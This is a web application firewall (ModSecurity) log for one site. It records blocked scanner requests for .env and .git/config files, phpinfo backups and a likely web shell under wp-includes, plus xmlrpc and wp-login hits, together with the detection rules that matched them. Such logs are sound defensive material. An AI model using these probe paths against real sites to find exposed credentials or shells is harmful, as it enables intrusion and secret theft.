[Sat May 09 01:47:49.233650 2026] [:error] [pid 61355:tid 61363] [client 3.80.48.101:41084] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/phpinfo.php.old"] [unique_id "af4hxfkhJTi30CBXmMlAQwAAAYI"]
[Sat May 09 01:47:50.046308 2026] [:error] [pid 34318:tid 34322] [client 3.80.48.101:42454] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/phpinfo.php~"] [unique_id "af4hxsr3guirgJiKhzAG-gAAAQI"]
[Sat May 09 01:47:50.859833 2026] [:error] [pid 51008:tid 51050] [client 3.80.48.101:42464] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/info.php.bak"] [unique_id "af4hxnB58C2Y1tgLtuLfNQAAAEE"]
[Sat May 09 01:47:51.672646 2026] [:error] [pid 34318:tid 34331] [client 3.80.48.101:42478] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/phpinfo.php.save"] [unique_id "af4hx8r3guirgJiKhzAHAAAAAQs"]
[Sat May 09 01:47:52.483776 2026] [:error] [pid 51007:tid 51040] [client 3.80.48.101:42494] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/staging/phpinfo.php"] [unique_id "af4hyFMagSGstWKyzzUefgAAABI"]
[Sat May 09 01:47:53.297876 2026] [:error] [pid 34318:tid 34333] [client 3.80.48.101:42496] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/beta/phpinfo.php"] [unique_id "af4hycr3guirgJiKhzAHCAAAAQ0"]
[Sat May 09 01:47:54.109147 2026] [:error] [pid 51008:tid 51069] [client 3.80.48.101:42502] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/uat/phpinfo.php"] [unique_id "af4hynB58C2Y1tgLtuLfSAAAAFQ"]
[Sat May 09 01:47:54.922675 2026] [:error] [pid 51009:tid 51093] [client 3.80.48.101:42518] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/qa/phpinfo.php"] [unique_id "af4hyuB0GbUWhxgzX9WZ5AAAAJE"]
[Sat May 09 01:47:55.736098 2026] [:error] [pid 34318:tid 34332] [client 3.80.48.101:42534] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/preview/phpinfo.php"] [unique_id "af4hy8r3guirgJiKhzAHCwAAAQw"]
[Sat May 09 01:47:56.553633 2026] [:error] [pid 51113:tid 51139] [client 3.80.48.101:42540] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/www/phpinfo.php"] [unique_id "af4hzEQfs7sWtqkpQIedvwAAANg"]
[Sat May 09 01:47:57.365317 2026] [:error] [pid 51113:tid 51117] [client 3.80.48.101:42552] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/htdocs/phpinfo.php"] [unique_id "af4hzUQfs7sWtqkpQIedwAAAAMI"]
[Sat May 09 01:47:58.178736 2026] [:error] [pid 61355:tid 61384] [client 3.80.48.101:42558] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/public_html/phpinfo.php"] [unique_id "af4hzvkhJTi30CBXmMlAZgAAAZc"]
[Sat May 09 01:47:58.992867 2026] [:error] [pid 51008:tid 51072] [client 3.80.48.101:42566] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/site/phpinfo.php"] [unique_id "af4hznB58C2Y1tgLtuLfVAAAAFc"]
[Sat May 09 01:47:59.807447 2026] [:error] [pid 61356:tid 61393] [client 3.80.48.101:58646] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/docs/phpinfo.php"] [unique_id "af4hz4x3vpB8oWhUq2Mw9wAAAcU"]
[Sat May 09 01:48:00.620117 2026] [:error] [pid 61356:tid 61407] [client 3.80.48.101:58658] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/phpinfo.php"] [unique_id "af4h0Ix3vpB8oWhUq2Mw-wAAAdM"]
[Sat May 09 01:48:01.432087 2026] [:error] [pid 61356:tid 61392] [client 3.80.48.101:58670] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/administrator/phpinfo.php"] [unique_id "af4h0Yx3vpB8oWhUq2Mw_QAAAcQ"]
[Sat May 09 01:48:02.246105 2026] [:error] [pid 61355:tid 61376] [client 3.80.48.101:58678] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/core/phpinfo.php"] [unique_id "af4h0vkhJTi30CBXmMlAcwAAAY8"]
[Sat May 09 01:48:03.059260 2026] [:error] [pid 61356:tid 61411] [client 3.80.48.101:58694] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/includes/phpinfo.php"] [unique_id "af4h04x3vpB8oWhUq2MxBgAAAdc"]
[Sat May 09 02:45:47.931433 2026] [:error] [pid 51008:tid 51061] [client 45.154.98.197:63114] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/txets.php"] [unique_id "af4vW3B58C2Y1tgLtuLuMAAAAEw"]
[Sat May 09 02:45:48.490621 2026] [:error] [pid 34318:tid 34339] [client 45.154.98.197:63305] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "af4vXMr3guirgJiKhzAQoAAAARM"]
[Sat May 09 02:45:48.990936 2026] [:error] [pid 61355:tid 61381] [client 45.154.98.197:63404] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "af4vXPkhJTi30CBXmMllpwAAAZQ"]
[Sat May 09 02:45:51.772488 2026] [:error] [pid 61355:tid 61384] [client 45.154.98.197:64254] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/txets.php"] [unique_id "af4vX_khJTi30CBXmMllrAAAAZc"]
[Sat May 09 03:35:51.091761 2026] [:error] [pid 44316:tid 44329] [client 34.162.31.209:34534] [client 34.162.31.209] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "af47F0JuKmhXjWVHcKlYNQAAAMs"]
[Sat May 09 03:43:47.252711 2026] [:error] [pid 9487:tid 9495] [client 139.155.126.16:34868] [client 139.155.126.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "af4881MqrMo-9F8KCpHLCAAAAMY"]
[Sat May 09 04:00:20.588201 2026] [:error] [pid 9663:tid 9682] [client 45.92.229.138:54877] [client 45.92.229.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.92.229.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "af5A1JcWIu01SCxbjwupxAAAARA"]
[Sat May 09 04:49:59.216387 2026] [:error] [pid 9293:tid 9319] [client 45.182.212.148:42102] [client 45.182.212.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.182.212.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af5Md5R__qEzV5O6Z2OrxgAAANY"]
[Sat May 09 04:50:22.446023 2026] [:error] [pid 9184:tid 9213] [client 45.182.212.148:42206] [client 45.182.212.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.182.212.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af5MjojfODqb_i0Fm99T8wAAABA"]
[Sat May 09 04:50:33.967487 2026] [:error] [pid 9187:tid 9270] [client 45.182.212.148:42122] [client 45.182.212.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.182.212.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af5MmRC7An6gkXsRsaHP7QAAAJE"]
[Sat May 09 04:50:42.739072 2026] [:error] [pid 9920:tid 9944] [client 45.182.212.148:42214] [client 45.182.212.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.182.212.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af5MokxitGYhlzgZb5ZLWQAAAdY"]
[Sat May 09 04:50:53.154536 2026] [:error] [pid 9663:tid 9666] [client 45.182.212.148:42338] [client 45.182.212.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.182.212.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af5MrZcWIu01SCxbjwu6zwAAAQA"]
[Sat May 09 05:53:40.533418 2026] [:error] [pid 9833:tid 9841] [client 41.68.249.129:50621] [client 41.68.249.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.68.249.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af5bZCM9JmxIS0KGZUAz-AAAAYM"]
[Sat May 09 05:53:50.531796 2026] [:error] [pid 9293:tid 9301] [client 41.68.249.129:51199] [client 41.68.249.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.68.249.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af5bbpR__qEzV5O6Z2PLXAAAAMQ"]
[Sat May 09 05:54:00.909538 2026] [:error] [pid 9293:tid 9321] [client 41.68.249.129:51691] [client 41.68.249.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.68.249.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af5beJR__qEzV5O6Z2PLdAAAANg"]
[Sat May 09 05:54:11.219682 2026] [:error] [pid 9760:tid 9778] [client 41.68.249.129:52194] [client 41.68.249.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.68.249.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af5bg2IkCp-C_fh0s7IILAAAAUw"]
[Sat May 09 05:54:21.708811 2026] [:error] [pid 9920:tid 9922] [client 41.68.249.129:52691] [client 41.68.249.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.68.249.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af5bjUxitGYhlzgZb5ZeQAAAAcA"]
[Sat May 09 05:59:54.305823 2026] [:error] [pid 9184:tid 9213] [client 3.80.48.101:34836] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "af5c2ojfODqb_i0Fm99bqAAAABA"]
[Sat May 09 05:59:57.086676 2026] [:error] [pid 9186:tid 9242] [client 3.80.48.101:34838] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "af5c3RW4eFOEw1mKOgJ6lQAAAFA"]
[Sat May 09 05:59:57.914332 2026] [:error] [pid 9663:tid 9685] [client 3.80.48.101:34852] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.local"] [unique_id "af5c3ZcWIu01SCxbjwvK-AAAARM"]
[Sat May 09 05:59:58.730660 2026] [:error] [pid 9293:tid 9321] [client 3.80.48.101:34868] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.production"] [unique_id "af5c3pR__qEzV5O6Z2PNoAAAANg"]
[Sat May 09 05:59:59.555852 2026] [:error] [pid 9293:tid 9308] [client 3.80.48.101:34874] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.staging"] [unique_id "af5c35R__qEzV5O6Z2PNpAAAAMs"]
[Sat May 09 06:00:00.379497 2026] [:error] [pid 9293:tid 9320] [client 3.80.48.101:35716] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.development"] [unique_id "af5c4JR__qEzV5O6Z2PNpgAAANc"]
[Sat May 09 06:00:01.198206 2026] [:error] [pid 9187:tid 9264] [client 3.80.48.101:35724] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.test"] [unique_id "af5c4RC7An6gkXsRsaHp7wAAAIs"]
[Sat May 09 06:00:02.013945 2026] [:error] [pid 9293:tid 9306] [client 3.80.48.101:35740] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.remote"] [unique_id "af5c4pR__qEzV5O6Z2PNpwAAAMk"]
[Sat May 09 06:00:02.830548 2026] [:error] [pid 9293:tid 9304] [client 3.80.48.101:35750] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.bak"] [unique_id "af5c4pR__qEzV5O6Z2PNqwAAAMc"]
[Sat May 09 06:00:03.660740 2026] [:error] [pid 9186:tid 9245] [client 3.80.48.101:35754] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.backup"] [unique_id "af5c4xW4eFOEw1mKOgJ6mAAAAFM"]
[Sat May 09 06:00:04.477745 2026] [:error] [pid 9760:tid 9783] [client 3.80.48.101:35768] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.save"] [unique_id "af5c5GIkCp-C_fh0s7IIrwAAAVE"]
[Sat May 09 06:00:05.321600 2026] [:error] [pid 9833:tid 9839] [client 3.80.48.101:35772] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.old"] [unique_id "af5c5SM9JmxIS0KGZUA00AAAAYE"]
[Sat May 09 06:00:06.174872 2026] [:error] [pid 9920:tid 9940] [client 3.80.48.101:35780] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.sample"] [unique_id "af5c5kxitGYhlzgZb5ZfcAAAAdI"]
[Sat May 09 06:00:07.005116 2026] [:error] [pid 9187:tid 9259] [client 3.80.48.101:35782] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.example"] [unique_id "af5c5xC7An6gkXsRsaHp-wAAAIY"]
[Sat May 09 06:00:07.854928 2026] [:error] [pid 9187:tid 9254] [client 3.80.48.101:35786] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.dev"] [unique_id "af5c5xC7An6gkXsRsaHp_wAAAIE"]
[Sat May 09 06:00:08.742415 2026] [:error] [pid 9187:tid 9261] [client 3.80.48.101:35796] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.prod"] [unique_id "af5c6BC7An6gkXsRsaHqAgAAAIg"]
[Sat May 09 06:00:09.600705 2026] [:error] [pid 9187:tid 9275] [client 3.80.48.101:35810] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.stage"] [unique_id "af5c6RC7An6gkXsRsaHqBgAAAJY"]
[Sat May 09 06:00:10.442189 2026] [:error] [pid 9920:tid 9946] [client 3.80.48.101:50428] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.ci"] [unique_id "af5c6kxitGYhlzgZb5ZfcwAAAdg"]
[Sat May 09 06:00:11.317560 2026] [:error] [pid 9187:tid 9253] [client 3.80.48.101:50432] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.docker"] [unique_id "af5c6xC7An6gkXsRsaHqDgAAAIA"]
[Sat May 09 06:00:12.176070 2026] [:error] [pid 9293:tid 9321] [client 3.80.48.101:50444] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.live"] [unique_id "af5c7JR__qEzV5O6Z2PNrgAAANg"]
[Sat May 09 06:00:13.031827 2026] [:error] [pid 9293:tid 9308] [client 3.80.48.101:50454] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.preprod"] [unique_id "af5c7ZR__qEzV5O6Z2PNsAAAAMs"]
